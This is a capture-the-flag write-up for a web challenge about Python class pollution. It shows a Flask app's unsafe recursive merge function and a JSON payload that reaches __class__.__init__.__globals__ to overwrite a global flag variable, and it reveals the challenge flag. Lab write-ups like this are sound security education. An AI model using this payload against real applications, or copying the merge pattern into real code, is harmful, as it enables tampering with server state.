Statement: A group of students who don’t like to do things the “conventional” way decided to come up with a CyberSecurity Blog post. You’ve been hired to perform an in-depth whitebox test on their web application.


While inspecting the source code made available, I noticed several points :

  • Interresting routes :
@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

@app.route("/get_flag")
@login_required
def get_flag():
    if flag == "true":
        return "DUCTF{NOT_THE_REAL_FLAG}"
    else:
        return "Nope"
  • Merge function :
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

After several hours of analysis and research, I’ve found that the data sent is merged in order to copy attributes, and that it’s possible to overwrite values outside the object’s perimeter.

This is a Python Prototype Pollution vulnerability, some sources describe this attack :

The objective is to change the flag value to true in the get_flag function, using this vulnerability to retrieve the flag from the /get_flag endpoint.

A POST request without parameters is sent to the server as follows :

{
	"title":"",
	"content":"",
	"rating":"",
	"referer":""
}

To change the flag value to true, I’ll create the following payload :

{
	"title":"",
	"content":"",
	"rating":"",
	"referer":"",
	"__class__":{
		"__init__":{
			"__globals__":{
				"flag":"true"
			}
		}
	}
}

Afterwards, I just have to GET the /get_flag endpoint.

Flag : DUCTF{_cl455_p0lluti0n_ftw_}